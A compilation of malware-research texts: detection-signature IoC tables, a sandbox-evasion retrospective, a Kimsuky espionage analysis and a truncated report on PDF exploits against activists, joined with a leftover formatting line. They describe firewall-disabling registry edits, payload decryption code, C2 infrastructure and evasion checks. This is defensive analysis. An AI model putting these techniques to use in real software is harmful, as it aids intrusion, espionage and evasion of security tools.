Software\Microsoft\MSFix | reg. key | | w3ssl.sys | driver | | ## SIG13 **IoC** | **Type** | **Remarks** --- | --- | --- SYSPATH\winview.ocs | file | Might be also Agent.BTZ related | ## SIG14 **IoC** | **Type** | **Remarks** --- | --- | --- taskbar.exe | process | | MsgQueue.exe | process | | SndTray.exe | process | | msserv.exe | process | | ## SIG15 **IoC** | **Type** | **Remarks** --- | --- | --- SYSPATH\tlbcon32.exe | file | | SYSPATH\con32.nls | file | | TlbControl | service | | Software\Postman | reg. key | | ## SIG16 **IoC** | **Type** | **Remarks** --- | --- | --- SYSPATH\indsvc32.ocx | file | This should be Flame | ## SIG17 **IoC** | **Type** | **Remarks** --- | --- | --- SYSPATH\ADWM.DLL | file | | SYSPATH\ASFIPC.DLL | file | | SYSPATH\BROWUI.DLL | file | | ## SIG18 **IoC** | **Type** | **Remarks** --- | --- | --- SYSTEMROOT\..\Documents and Settings\All Users\Application Data\msncp.exe | file | Moonflower / FlowerShop | SYSTEMROOT\..\Documents and Settings\All Users\Application Data\netsvcs.exe | file | | ## SIG19 **IoC** | **Type** | **Remarks** --- | --- | --- SYSPATH\nsecm.dll | file | No clue | ## SIG20 **IoC** | **Type** | **Remarks** --- | --- | --- SYSPATH\Microsoft\Windows Management Infrastructure | directory | | WinMI32 | service | | ## SIG21 **IoC** | **Type** | **Remarks** --- | --- | --- SYSTEMROOT\temp\temp56273.pdf | file | No clue | ## SIG22 **IoC** | **Type** | **Remarks** --- | --- | --- SYSPATH\drivers\etc\network.ics | file | | SYSPATH\acelpvc.dll | file | | ## SIG23 **IoC** | **Type** | **Remarks** --- | --- | --- software\microsoft\NetWin | reg. key | | ## SIG24 **IoC** | **Type** | **Remarks** --- | --- | --- SYSPATH\drivers\mfc64comm.sys | file | No clue | ## SIG25 **IoC** | **Type** | **Remarks** --- | --- | --- HP003044 | service | | NetBIOS2010 | service | | ## SIG26 **IoC** | **Type** | **Remarks** --- | --- | --- Software\Adobe\Fix | reg. key | | ## SIG27 **IoC** | **Type** | **Remarks** --- | --- | --- SYSTEMROOT\qtlib.sqt | file | No clue. Sqt might be related to SAP. | ## SIG28 **IoC** | **Type** | **Remarks** --- | --- | --- SYSTEMROOT\..\Documents and Settings\*\Local Settings\Application Data\S-1-5-31-1286970278978-5713669491-166975984-320\* | file | Very limited information available. | ## SIG29 **IoC** | **Type** | **Remarks** --- | --- | --- SYSPATH\ieloader.dll | file | No clue | ## SIG30 **IoC** | **Type** | **Remarks** --- | --- | --- SYSPATH\msdxofg.dll | file | Most likely, this is “Exforel” | ## SIG31 **IoC** | **Type** | **Remarks** --- | --- | --- SYSTEMROOT\temp\~MS1E.tmp | file | No clue | ## SIG32 **IoC** | **Type** | **Remarks** --- | --- | --- Software\Microsoft\Active Setup\Installed Components\{FB083534-2709-3378-0000-F0FCD03BA387} | reg. key | | ## SIG33 **IoC** | **Type** | **Remarks** --- | --- | --- SYSPATH\INI | directory | No clue | ## SIG34 **IoC** | **Type** | **Remarks** --- | --- | --- System\CurrentControlSet\Services\Windows Installer Management | reg. key | Not clear | ## SIG35 **IoC** | **Type** | **Remarks** --- | --- | --- adpu321.sys | driver | This might be a 2007 year old Duqu driver | ## SIG36 **IoC** | **Type** | **Remarks** --- | --- | --- LOGDIRECTORY\Data\*processinfo*\kernel32.dll.aslr | file | Maybe Stuxnet. But why separate detection? | This concludes the cleanup and formatting of the document into Markdown.
# Evolution of Malware Sandbox Evasion Tactics – A Retrospective Study **Executive Summary** Malware evasion techniques are widely used to circumvent detection as well as analysis and understanding. One of the dominant categories of evasion is anti-sandbox detection, simply because today’s sandboxes are becoming the fastest and easiest way to have an overview of the threat. Many companies use these kinds of systems to detonate malicious files and URLs found, to obtain more indicators of compromise to extend their defenses and block other related malicious activity. Nowadays we understand security as a global process, and sandbox systems are part of this ecosystem, and that is why we must take care with the methods used by malware and how we can defeat it. Historically, sandboxes had allowed researchers to visualize the behavior of malware accurately within a short period of time. As the technology evolved over the past few years, malware authors started producing malicious code that delves much deeper into the system to detect the sandboxing environment. As sandboxes became more sophisticated and evolved to defeat the evasion techniques, we observed multiple strains of malware that dramatically changed their tactics to remain a step ahead. In the following sections, we look back on some of the most prevalent sandbox evasion techniques used by malware authors over the past few years and validate the fact that malware families extended their code in parallel to introducing more stealthier techniques. ## Delaying Execution Initially, several strains of malware were observed using timing-based evasion techniques (latent execution), which primarily boiled down to delaying the execution of the malicious code for a period using known Windows APIs like NtDelayExecution, CreateWaitTableTimer, SetTimer, and others. These techniques remained popular until sandboxes started identifying and mitigating them. As sandboxes identified malware and attempted to defeat it by accelerating code execution, it resorted to using acceleration checks using multiple methods. One of those methods, used by multiple malware families including Win32/Kovter, was using Windows API GetTickCount followed by a code to check if the expected time had elapsed. However, we observed several variations of this method across malware families. This anti-evasion technique could be easily bypassed by the sandbox vendors simply creating a snapshot with more than 20 minutes to have the machine running for more time. ## API Flooding Another approach that subsequently became more prevalent, observed with Win32/Cutwail malware, is calling the garbage API in the loop to introduce the delay, dubbed API flooding. We observed how this code resulted in a DOS condition since sandboxes could not handle it well enough. On the other hand, this sort of behavior is not too difficult to detect by more involved sandboxes. As they became more capable of handling the API-based stalling code, yet another strategy to achieve a similar objective was to introduce inline assembly code that waited for more than 5 minutes before executing the hostile code. We found this technique in use as well. Sandboxes are now much more capable and armed with code instrumentation and full system emulation capabilities to identify and report the stalling code. This turned out to be a simplistic approach which could sidestep most of the advanced sandboxes. ## Hardware Detection Another category of evasion tactic widely adopted by malware was fingerprinting the hardware, specifically a check on the total physical memory size, available HD size/type, and available CPU cores. These methods became prominent in malware families like Win32/Phorpiex, Win32/Comrerop, Win32/Simda, and multiple other prevalent ones. Based on our tracking of their variants, we noticed Windows API DeviceIoControl() was primarily used with specific Control Codes to retrieve the information on Storage type and Storage Size. Ransomware and cryptocurrency mining malware were found to be checking for total available physical memory using a known GlobalMemoryStatusEx() trick. A similar check is shown below. Subsequently, a Windows Management Instrumentation (WMI) based approach became more favored since these calls could not be easily intercepted by the existing sandboxes. ## CPU Temperature Check Malware authors are always adding new and interesting methods to bypass sandbox systems. Another check that is quite interesting involves checking the temperature of the processor in execution. The check is executed through a WMI call in the system. This is interesting as the VM systems will never return a result after this call. ## CPU Count Popular malware families like Win32/Dyreza were seen using the CPU core count as an evasion strategy. Several malware families were initially found using a trivial API-based route, as outlined earlier. However, most malware families later resorted to WMI and stealthier PEB access-based methods. Any evasion code in the malware that does not rely on APIs is challenging to identify in the sandboxing environment and malware authors look to use it more often. There are a number of ways to get the CPU core count, though the stealthier way was to access the PEB, which can be achieved by introducing inline assembly code or by using the intrinsic functions. ## User Interaction Another class of infamous techniques malware authors used extensively to circumvent the sandboxing environment was to exploit the fact that automated analysis systems are never manually interacted with by humans. Conventional sandboxes were never designed to emulate user behavior and malware was coded with the ability to determine the discrepancy between the automated and the real systems. Initially, multiple malware families were found to be monitoring for Windows events and halting the execution until they were generated. Malware campaigns were also found deploying a range of techniques to check historical interactions with the infected system. One such campaign, delivering the Dridex malware, extensively used the Auto Execution macro that triggered only when the document was closed. The same malware campaign was also found introducing Registry key checks in the code for MRU (Most Recently Used) files to validate historical interactions with the infected machine. ## Environment Detection Another technique used by malware is to fingerprint the target environment, thus exploiting the misconfiguration of the sandbox. At the beginning, tricks such as Red Pill techniques were enough to detect the virtual environment, until sandboxes started to harden their architecture. Malware authors then used new techniques, such as checking the hostname against common sandbox names or the registry to verify the programs installed; a very small number of programs might indicate a fake machine. Other techniques, such as checking the filename to detect if a hash or a keyword (such as malware) is used, have also been implemented as has detecting running processes to spot potential monitoring tools and checking the network address to detect blacklisted ones, such as AV vendors. ## Using Evasion Techniques in the Delivery Process In the past few years, we have observed how the use of sandbox detection and evasion techniques have been increasingly implemented in the delivery mechanism to make detection and analysis harder. Attackers are increasingly likely to add a layer of protection in their infection vectors to avoid burning their payloads. Thus, it is common to find evasion techniques in malicious Word and other weaponized documents. ## McAfee Advanced Threat Defense McAfee Advanced Threat Defense (ATD) is a sandboxing solution which replicates the sample under analysis in a controlled environment, performing malware detection through advanced static and dynamic behavioral analysis. As a sandboxing solution, it defeats evasion techniques seen in many of the adversaries. McAfee’s sandboxing technology is armed with multiple advanced capabilities that complement each other to bypass the evasion techniques attempted to check the presence of virtualized infrastructure, and mimics sandbox environments to behave as real physical machines. ## Conclusion Traditional sandboxing environments were built by running virtual machines over one of the available virtualization solutions (VMware, VirtualBox, KVM, Xen) which leaves huge gaps for evasive malware to exploit. Malware authors continue to improve their creations by adding new techniques to bypass security solutions and evasion techniques remain a powerful means of detecting a sandbox. As technologies improve, so also do malware techniques. Sandboxing systems are now equipped with advanced instrumentation and emulation capabilities which can detect most of these techniques. However, we believe the next step in sandboxing technology is going to be the bare metal analysis environment which can certainly defeat any form of evasive behavior, although common weaknesses will still be easy to detect. **Thomas Roccia** Thomas Roccia is a senior security researcher on the Advanced Threat Research team. He works on threat intelligence, tracking cybercrime campaigns and collaborating with law enforcement agencies.
# The “Kimsuky” Operation: A North Korean APT? **Authors** Dmitry Tarakanov For several months, we have been monitoring an ongoing cyber-espionage campaign against South Korean think-tanks. There are multiple reasons why this campaign is extraordinary in its execution and logistics. It all started one day when we encountered a somewhat unsophisticated spy program that communicated with its “master” via a public email server. This approach is rather inherent to many amateur virus-writers, and these malware attacks are mostly ignored. However, there were a few things that attracted our attention: - The public e-mail server in question was Bulgarian – mail.bg. - The compilation path string contained Korean hieroglyphs. These two facts compelled us to take a closer look at this malware — Korean compilers alongside Bulgarian e-mail command-and-control communications. The complete path found in the malware presents some Korean strings: `D:rsh공격UAC_dll(완성)Releasetest.pdb` The “rsh” word, by all appearances, means a shortening of “Remote Shell,” and the Korean words can be translated in English as “attack” and “completion.” Although the full list of victims remains unknown, we managed to identify several targets of this campaign. According to our technical analysis, the attackers were interested in targeting the following organizations: ## The Sejong Institute The Sejong Institute is a non-profit private organization for public interest and a leading think tank in South Korea, conducting research on national security strategy, unification strategy, regional issues, and international political economy. ## Korea Institute For Defense Analyses (KIDA) KIDA is a comprehensive defense research institution that covers a wide range of defense-related issues. KIDA is organized into seven research centers: the Center for Security and Strategy; the Center for Military Planning; the Center for Human Resource Development; the Center for Resource Management; the Center for Weapon Systems Studies; the Center for Information System Studies; and the Center for Modeling and Simulation. KIDA also has an IT Consulting Group and various supporting departments. KIDA’s mission is to contribute to rational defense policy-making through intensive and systematic research and analysis of defense issues. ## Ministry of Unification The Ministry of Unification is an executive department of the South Korean government responsible for working towards the reunification of Korea. Its major duties are: establishing North Korea Policy, coordinating inter-Korean dialogue, pursuing inter-Korean cooperation, and educating the public on unification. ## Hyundai Merchant Marine Hyundai Merchant Marine is a South Korean logistics company providing worldwide container shipping services. Some clues also suggest that computers belonging to “The supporters of Korean Unification” were also targeted. Among the organizations we counted, 11 are based in South Korea and two entities reside in China. Partly because this campaign is very limited and highly targeted, we have not yet been able to identify how this malware is being distributed. The malicious samples we found are the early stage malware most often delivered by spear-phishing e-mails. ## Infecting a system The initial Trojan dropper is a Dynamic Link Library functioning as a loader for further malware. It does not maintain exports and simply delivers another encrypted library maintained in its resource section. This second library performs all the espionage functionality. When running on Windows 7, the malicious library uses the Metasploit Framework’s open-source code Win7Elevate to inject malicious code into explorer.exe. In any case, be it Windows 7 or not, this malicious code decrypts its spying library from resources, saves it to disk with an apparently random but hardcoded name, for example, `~DFE8B437DD7C417A6D.TMP`, in the user’s temporary folder, and loads this file as a library. This next stage library copies itself into the System32 directory of the Windows folder after the hardcoded file name — either `KBDLV2.DLL` or `AUTO.DLL`, depending on the malware sample. Then the service is created for the service DLL. Service names also can differ from version to version; we discovered the following names — `DriverManage`, `WebService`, and `WebClientManager`. These functions assure malware persistence in a compromised OS between system reboots. At this stage, the malware gathers information about the infected computer. This includes an output of the `systeminfo` command saved in the file `oledvbs.inc` by following the hardcoded path: `C:Program FilesCommon FilesSystemOle DBoledvbs.inc`. There is another function called – the malware creates a string containing computer and user names, but this isn’t used anywhere. By all appearances, this is a mistake by the malware author. Later on, we will come to a function where such a string could be pertinent, but the malware is not able to find this data in the place where it should be. These steps are taken only if it’s running on an infected system for the first time. At system startup, the malicious library performs spying activities when it confirms that it is loaded by the generic `svchost.exe` process. ## Spying modules There are a lot of malicious programs involved in this campaign, but, strangely, they each implement a single spying function. Besides the basic library (`KBDLV2.DLL` / `AUTO.DLL`) that is responsible for common communication with its campaign master, we were able to find modules performing the following functions: - Keystroke logging - Directory listing collection - HWP document theft - Remote control download and execution - Remote control access ## Disabling firewall At system startup, the basic library disables the system firewall and any AhnLab firewall (a South Korean security product vendor) by zeroing out related values in the registry: 1. `SYSTEMCurrentControlSetServicesSharedAccessParameters` 2. `FirewallPolicyStandardProfile` - `EnableFirewall = 0` 3. `SYSTEMCurrentControlSetServicesSharedAccessParameters` 4. `FirewallPolicyPublicProfile` - `EnableFirewall = 0` 5. `HKLMSOFTWAREAhnLabV3IS2007InternetSec` - `FWRunMode = 0` 6. `HKLMSOFTWAREAhnlabV3IS80is` - `fwmode = 0` It also turns off the Windows Security Center service to prevent alerting the user about the disabled firewall. It is not accidental that the malware author has singled out AhnLab’s security product. During our Winnti research, we learned that one of the Korean victims was severely criticized by South Korean regulators for using foreign security products. We do not know for sure how this criticism affected other South Korean organizations, but we do know that many South Korean organizations install AhnLab security products. Accordingly, these attackers don’t even bother evading foreign vendors’ products because their targets are solely South Korean. Once the malware disables the AhnLab firewall, it checks whether the file `taskmgr.exe` is located in the hardcoded `C:WINDOWS` folder. If the file is present, it runs this executable. Next, the malware loops every 30 minutes to report itself and wait for a response from its operator. ## Communications Communication between bot and operator flows through the Bulgarian web-based free email server (mail.bg). The bot maintains hardcoded credentials for its e-mail account. After authenticating, the malware sends e-mails to another specified e-mail address and reads e-mails from the inbox. All these activities are performed via the “mail.bg” web-interface with the use of the system Wininet API functions. From all the samples that we managed to obtain, we extracted the following email accounts used in this campaign: 1. [email protected] 2. [email protected] 3. [email protected] 4. [email protected] 5. [email protected] 6. [email protected] 7. [email protected] 8. [email protected] Here are the two “master” email addresses to which the bots send e-mails on behalf of the above-mentioned accounts. They report on status and transmit infected system information via attachments: 1. [email protected] 2. [email protected] ## Regular reporting To report infection status, the malware reads from `C:Program FilesCommon FilesSystemOle DBoledvbs.inc`, which contains the `systeminfo` command output. If the file exists, it is deleted after reading. Then, it reads user-related info from the file `sqlxmlx.inc` in the same folder (we can see strings referencing “UserID” commentary in this part of the code). But this file was never created. As you recall, there is a function that should have collected this data and should have saved it into this `sqlxmlx.inc` file. However, on the first launch, the collected user information is saved into `xmlrwbin.inc`. This effectively means that the malware writer mistakenly coded the bot to save user information into the wrong file. There is a chance for the mistaken code to still work — user information could be copied into the send information heap. But not in this case – at the time of writing, the gathered user information variable which should point to the `xmlrwbin.inc` filename has not yet been initialized, causing the file write to fail. We see that `sqlxmlx.inc` is not created to store user information. Next, the intercepted keystrokes are read from the file and sent to the master. Keystrokes are logged and kept in an ordinary and consistent format in this file – both the names of windows in which keys were typed and the actual sequence of keyboard entry. This data is found in the file `C:Program FilesCommon FilesSystemOle DBmsolui80.inc` created by the external key logger module. All this data is merged in one file `xmlrwbin.inc`, which is then encrypted with RC4. The RC4 key is generated as an MD5 hash of a randomly generated 117-bytes buffer. To be able to decipher the data, the attacker should certainly know either the MD5 hash or the whole buffer content. This data is also sent, but RSA encrypted. The malware constructs a 1120 bit public key, uses it to encrypt the 117-bytes buffer. The malware then concatenates all the data to be sent as a 128-bytes block. The resulting data is saved in `C:Program FilesCommon FilesSystemOle DB` to a file named according to the following format: `<system time>_<account at Bulgarian email server>.txt`, for example, `[email protected]`. The file is then attached to an e-mail and sent to the master’s e-mail account. Following transmission, it is immediately deleted from the victim system. ## Getting the master’s data The malware also retrieves instructions from the mail server. It checks for mails in its Bulgarian e-mail account with a particular subject tag. We have identified several “subject tags” in the network communication: `Down_0`, `Down_1`, `Happy_0`, `Happy_2`, and `ddd_3`. When found and the e-mail maintains an attachment, the malware downloads this attachment and saves it with filename `msdaipp.cnt` in `C:Program FilesCommon FilesSystemOle DB`. The attacker can send additional executables in this way. The executables are RC4 encrypted and then attached. The key for decryption is hardcoded in the malicious samples. It’s interesting that the same “rsh!@!#” string is maintained across all known samples and is used to generate RC4 keys. As described earlier, the malware computes the MD5 of this string and uses the hash as its RC4 key to decrypt the executable. Then, the plain executable is dropped onto disk as `sqlsoldb.exe` and run, and then moved to the `C:Windows` folder with the file name `taskmgr.exe`. The original e-mail and its attachment are then deleted from the Bulgarian e-mail inbox. ## Key logger The additional key logger module is not very complex — it simply intercepts keystrokes and writes typed keys into `C:Program FilesCommon FilesSystemOle DBmsolui80.inc`, and also records the active window name where the user pressed keys. We saw this same format in the Madi malware. There is also one key logger variant that logs keystrokes into `C:WINDOWSsetup.log`. ## Directory listing collector The next program sent to victims enumerates all the drives on the infected system and executes the following command on them: `dir <drive letter>: /a /s /t /-c` In practice, this command is written to `C:WINDOWSmsdatt.bat` and executed with output redirected to `C:WINDOWSmsdatl3.inc`. As a result, the latter maintains a listing of all files in all the folders on the drive. The malware later reads that data and appends it to the content of the file `C:Program FilesCommon FilesSystemOle DBoledvbs.inc`. At this point, `oledvbs.inc` already stores systeminfo output. It’s interesting that one sample of the directory listing collector was infected with the infamous “Viking” virus of Chinese origin. Some of this virus’ modifications were wandering in the wild for years, and its authors or operators would never expect to see it end up in a clandestine APT-related spying tool. For the attackers, this is certainly a big failure. Not only does the original spying program have marks of well-known malware that can be detected by anti-malware products; moreover, the attackers are revealing their secret activities to cyber-criminal gangs. However, by all appearances, the attackers noticed the unwanted addition to their malware and got rid of the infection. This was the only sample bearing the Viking virus. Due to the expensive work of malware with a variety of additional files, it’s not out of place to show these “relationships” in a diagram. ## HWP document stealer This module intercepts HWP documents on an infected computer. The HWP file format is similar to Microsoft Word documents but supported by Hangul, a South Korean word processing application from the Hancom Office bundle. Hancom Office is widely used in South Korea. This malware module works independently of the others and maintains its own Bulgarian e-mail account. The account is hardcoded in the module along with the master’s e-mail to which it sends intercepted documents. It is interesting that the module does not search for all the HWP files on the infected computer but reacts only to those that are opened by the user and steals them. This behavior is very unusual for a document-stealing component, and we do not see it in other malicious toolkits. The program copies itself as `<Hangul full path>HncReporter.exe` and changes the default program association in the registry to open HWP documents. To do so, it alters the following registry values: 1. `HKEY_CLASSES_ROOTHwp.Document.7shellopencommand` 2. or 3. `HKEY_CLASSES_ROOTHwp.Document.8shellopencommand` By default, there is the registry setting `"<Hangul full path>Hwp.exe" "%1"` associating the Hangul application “Hwp.exe” with .HWP documents. But the malicious program replaces this string with the following: `"<Hangul full path>HncReporter.exe" "%1"`. So, when the user is opening any .HWP document, the malware program itself is executed to open the .HWP document. Following this registry edit, any opened .HWP document is read and sent as an e-mail attachment with the subject “Hwp” to the attackers. After sending, the malware executes the real Hangul word processing application “Hwp.exe” to open the .HWP document as the user intended. This means the victim most likely will not notice the theft of the .HWP file. The module’s sending routine depends on the following files in `C:Program FilesCommon FilesSystemOle DB` folder: `xmlrwbin.inc`, `msdaipp.cnt`, `msdapml.cnt`, `msdaerr.cnt`, `msdmeng.cnt`, and `oledjvs.inc`. ## Remote control module downloader An extra program is dedicated exclusively to download attachments out of incoming e-mails with a particular subject tag. This program is similar to the pivot module but with reduced functionality: it maintains the hardcoded Bulgarian e-mail account, logs in, reads incoming e-mails, and searches for the special subject tag “Team.” When found, it loads the related attachment, drops it onto the hard drive as `C:Program FilesCommon FilesSystemOle DBtaskmgr.exe`, and executes. This particular executable arrives without any encryption. ## Remote control module It is also interesting that the malware author did not custom develop a backdoor program. Instead, the author modified TeamViewer client version 5.0.9104. The initial executable pushed by attackers in e-mails related to the remote control module consists of three more executables. Two of them are TeamViewer components themselves, and another is some sort of backdoor loader. So, the dropper creates three files in the `C:WindowsSystem32` directory: 1. `netsvcs.exe` - the modified TeamViewer client; 2. `netsvcs_ko.dll` - resources library of TeamViewer client; 3. `vcmon.exe` - installer/starter; and creates the service “Remote Access Service,” adjusted to execute `C:WindowsSystem32vcmon.exe` at system startup. Every time `vcmon.exe` is executed, it disables AhnLab’s firewall by zeroing out the following registry values: 1. `HKLMSOFTWAREAhnLabV3 365 ClinicInternetSec` - `UseFw = 0` - `UseIps = 0` Then, it modifies the TeamViewer registry settings. As we said, the TeamViewer components used in this campaign are not the original ones. They are slightly modified. In total, we found two different variants of changed versions. The malware author replaced all the entries of “Teamviewer” strings in TeamViewer components. In the first case with the “Goldstager” string and with the string “Coinstager” in the second. TeamViewer client registry settings are then `HKLMSoftwareGoldstagerVersion5` and `HKLMSoftwareCoinstagerVersion5` correspondingly. The launcher sets up several registry values that control how the remote access tool will work. Among them is `SecurityPasswordAES`. This parameter represents a hash of the password with which a remote user has to connect to the TeamViewer client. This way, the attackers set a pre-shared authentication value. After that, the starter executes the very TeamViewer client `netsvcs.exe`. ## Who’s Kim? It’s interesting that the drop box mail accounts `[email protected]` and `[email protected]` are registered with the following “kim” names: `kimsukyang` and “Kim asdfa.” Of course, we can’t be certain that these are the real names of the attackers. However, the selection isn’t frequently seen. Perhaps it also points to the suspected North Korean origin of the attack. Taking into account the profiles of the targeted organizations — South Korean universities that conduct research on international affairs, produce defense policies for government, national shipping company, supporting groups for Korean unification — one might easily suspect that the attackers might be from North Korea. The targets almost perfectly fall into their sphere of interest. On the other hand, it is not that hard to enter arbitrary registration information and misdirect investigators to an obvious North Korean origin. It does not cost anything to concoct fake registration data and enter `kimsukyang` during a Hotmail registration. We concede that this registration data does not provide concrete, indisputable information about the attackers. However, the attackers’ IP addresses do provide some additional clues. During our analysis, we observed ten IP addresses used by the Kimsuky operators. All of them lie in ranges of the Jilin Province Network and Liaoning Province Network, in China. No other IP addresses have been uncovered that would point to the attackers’ activity and belong to other IP ranges. Interestingly, the ISPs providing internet access in these provinces are also believed to maintain lines into North Korea. Finally, this geo-location supports the likely theory that the attackers behind Kimsuky are based in North Korea. ## Appendix **Files used by malware:** 1. `%windir%system32kbdlv2.dll` 2. `%windir%system32auto.dll` 3. `%windir%system32netsvcs.exe` 4. `%windir%system32netsvcs_ko.dll` 5. `%windir%system32vcmon.exe` 6. `%windir%system32svcsmon.exe` 7. `%windir%system32svcsmon_ko.dll` 8. `%windir%system32wsmss.exe` 9. `%temp%~DFE8B437DD7C417A6D.TMP` 10. `%temp%~DFE8B43.TMP` 11. `%temp%~tmp.dll` 12. `C:Windowstaskmgr.exe` 13. `C:Windowssetup.log` 14. `C:Windowswinlog.txt` 15. `C:Windowsupdate.log` 16. `C:Windowswmdns.log` 17. `C:Windowsoledvbs.inc` 18. `C:Windowsweoig.log` 19. `C:Windowsdata.dat` 20. `C:Windowssys.log` 21. `C:WindowsPcMon.exe` 22. `C:WindowsGoogle Update.exe` 23. `C:WindowsReadMe.log` 24. `C:Windowsmsdatt.bat` 25. `C:Windowsmsdatl3.inc` 26. `C:Program FilesCommon FilesSystemOle DBmsdmeng.cnt` 27. `C:Program FilesCommon FilesSystemOle DBxmlrwbin.inc` 28. `C:Program FilesCommon FilesSystemOle DBmsdapml.cnt` 29. `C:Program FilesCommon FilesSystemOle DBsqlsoldb.exe` 30. `C:Program FilesCommon FilesSystemOle DBoledjvs.inc` 31. `C:Program FilesCommon FilesSystemOle DBoledvbs.inc` 32. `C:Program FilesCommon FilesSystemOle DBmsolui80.inc` 33. `C:Program FilesCommon FilesSystemOle DBmsdaipp.cnt` 34. `C:Program FilesCommon FilesSystemOle DBmsdaerr.cnt` 35. `C:Program FilesCommon FilesSystemOle DBsqlxmlx.inc` 36. `<Hangul full path>HncReporter.exe` **Related MD5:** 1. `3baaf1a873304d2d607dbedf47d3e2b4` 2. `3195202066f026de3abfe2f966c9b304` 3. `4839370628678f0afe3e6875af010839` 4. `173c1528dc6364c44e887a6c9bd3e07c` 5. `191d2da5da0e37a3bb3cbca830a405ff` 6. `5eef25dc875cfcb441b993f7de8c9805` 7. `b20c5db37bda0db8eb1af8fc6e51e703` 8. `face9e96058d8fe9750d26dd1dd35876` 9. `9f7faf77b1a2918ddf6b1ef344ae199d` 10. `d0af6b8bdc4766d1393722d2e67a657b` 11. `45448a53ec3db51818f57396be41f34f` 12. `80cba157c1cd8ea205007ce7b64e0c2a` 13. `f68fa3d8886ef77e623e5d94e7db7e6c` 14. `4a1ac739cd2ca21ad656eaade01a3182` 15. `4ea3958f941de606a1ffc527eec6963f` 16. `637e0c6d18b4238ca3f85bcaec191291` 17. `b3caca978b75badffd965a88e08246b0` 18. `dbedadc1663abff34ea4bdc3a4e03f70` 19. `3ae894917b1d8e4833688571a0573de4` 20. `8a85bd84c4d779bf62ff257d1d5ab88b` 21. `d94f7a8e6b5d7fc239690a7e65ec1778` 22. `f1389f2151dc35f05901aba4e5e473c7` 23. `96280f3f9fd8bdbe60a23fa621b85ab6` 24. `f25c6f40340fcde742018012ea9451e0` 25. `122c523a383034a5baef2362cad53d57` 26. `2173bbaea113e0c01722ff8bc2950b28` 27. `2a0b18fa0887bb014a344dc336ccdc8c` 28. `ffad0446f46d985660ce1337c9d5eaa2` 29. `81b484d3c5c347dc94e611bae3a636a3` 30. `ab73b1395938c48d62b7eeb5c9f3409d` 31. `69930320259ea525844d910a58285e15` **Names of services created by malware:** 1. `DriverManage` 2. `WebService` 3. `WebClientManager` 4. `Remote Access Service` We detect these threats as `Trojan.Win32.Kimsuky` except modified TeamViewer client components which are detected as `Trojan.Win32.Patched.ps`.
# New Uyghur and Tibetan Themed Attacks Using PDF Exploits **Authors** Igor Kuznetsov On Feb 12th 2013, FireEye announced the discovery of an Adobe Reader 0-day exploit which is used to drop a previously unknown, advanced piece of malware. We called this new malware “ItaDuke” because it reminded us of Duqu and because of the ancient Italian comments in the shellcode copied from Dante Alighieri’s “Divine Comedy”. Previously, we posted about another campaign hitting Governments and other institutions, named Miniduke, which was also using the same “Divine Comedy” PDF exploits. In the meantime, we’ve come by other attacks which piggyback on the same high level exploit code, only this time the targets are different: Uyghur activists. Together with our partner at AlienVault Labs, we analyzed these new exploits. For their blog, which includes Yara rules and industry standard IOC’s, please read below. ## The new attacks A few days ago, we observed several PDF files which carry the CVE-2013-0640/641 (ItaDuke) exploits. Some of the MD5s and filenames include: - 7005e9ee9f673edad5130b3341bf5e5f 2013-Yilliq Noruz Bayram Merik isige Teklip.pdf - d00e4ac94f1e4ff67e0e0dfcf900c1a8 .pdf (joint_letter.pdf) - ad668992e15806812dd9a1514cfc065b arp.pdf The Kaspersky detection name for these exploits is Exploit.JS.Pdfka.gjc. If the exploit is successful, the PDFs show a clean, “lure” document to the user: The first document (2013-Yilliq Noruz Bayram Merik isige Teklip.pdf) refers to a New Years party invitation. The second one, “arp.pdf”, is an authorization to request a reimbursement for a Tibetan activist group. The Javascript exploit code has a large comment block prepended, which was probably included to avoid detection by certain anti-malware programs. The comment block and the exploit is exactly the same among all analyzed PDF files. Interestingly, the “sHOGG” string obfuscation function from Itaduke has been removed. In addition, some of the obfuscation for variable initialization has been removed as well: All documents drop the same malware, detected by Kaspersky as Trojan.Win32.Agent.hwoo and Trojan.Win32.Agent.hwop, which is interesting: this is one of the rare cases when the same threat actor hits both Tibet and Uyghur activists at exactly the same time. It is possible this was done in regards to a human rights conference which is taking place in Geneva between 11-13 March, 2013. ## The backdoor The PDF malware dropper creates a file named “C:Documents and SettingsAdministratorLocal SettingsTempAcroRd32.exe” and runs it. AcroRd32.exe has a PE compilation timestamp of “Wed Jul 11 05:39:45 2012”. “AcroRd32.exe” contains an encrypted block with the final payload, an 8KB backdoor, which is dropped as “clbcatq.dll” and run via Windows Update. The block can be easily noticed inside the backdoor by a trained eye: The block is encrypted with a simple xor + add algorithm. Here’s the decryption algorithm for the final payload: ```c char key[]="0l23kj@nboxu"; a=key[i&7] + 6; buf[i]=(buf[i]^a) + a; ``` The final backdoor (clbcatq.dll) is 9728 bytes in size. It was compiled on “Wed Jul 11 05:39:39 2012”. The backdoor connects to its C&C server and requests further data using HTTP GET requests. The response from the server is expected to be a slightly encrypted DLL, which is then loaded and called by exports “InfectFile” and “GetWorkType”. For all the servers, the malware makes a request to “/news/show.asp”, using a custom agent string of “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)”. At the moment, all the domains point to the same IP address: 60.211.253.28. The server is located in China, in Shandong province: The domains “micrsofts.com” and “hotmal1.com” appear to have been registered by the same person, although with very small differences in the registration data: **Registrant Contact:** GW SY li wen li wen ([email protected]) zq dj jiningshi, shandongsheng, cn 272000 P: +86.05372178000 F: +86.05372178000 **Registrant Contact:** GW SY li wen li wen ([email protected]) zq dj shixiaqu, beijingshi, cn 272000 P: +86.02227238836601 F: +86.02227238836601 ## Stage 2 The command and control server will reply with a 300K backdoor, which is sent in encrypted form. Here’s how it looks as sent by server: The encryption is a sub 0x11 followed by a xor 0x11. Once decrypted, we get the malware dropper, which was compiled on “Wed Jul 11 06:52:48 2012”. This “stage 2” malware dropper is heuristically detected by Kaspersky products as HEUR:Trojan.Win32.Generic. The stage 2 dropper will install two files in system32wbem: - 4BA5E980.PBK – 204,932 bytes (MD5 varies) - MSTD32.DLL – 31,880 bytes (MD5: 92f15c2b82e81e8ae47e361b3ecb5add) MSTD32.DLL is signed by “YNK JAPAN Inc”, with a certificate that was revoked by the issuer: This technique reminds us of the method used by the malware from the Tilded platform (Duqu, Stuxnet) for starting up (small signed loader which reads and executes main body kept in encrypted form). Our colleagues from Norman have previously written about this compromised certificate in relation to Hupigon and other malware. The final stage malware is known by our products as Trojan.Win32.Swisyn and has pretty extensive functionality for data stealing. ## Conclusions We have previously published blogs about targeted attacks against Tibetan and Uyghur activists. The threat actors behind these attacks are very active and continuously use new methods and new exploits to attack their victims. We have previously seen the use of CVE-2013-0158 or CVE-2010-3333, in addition to 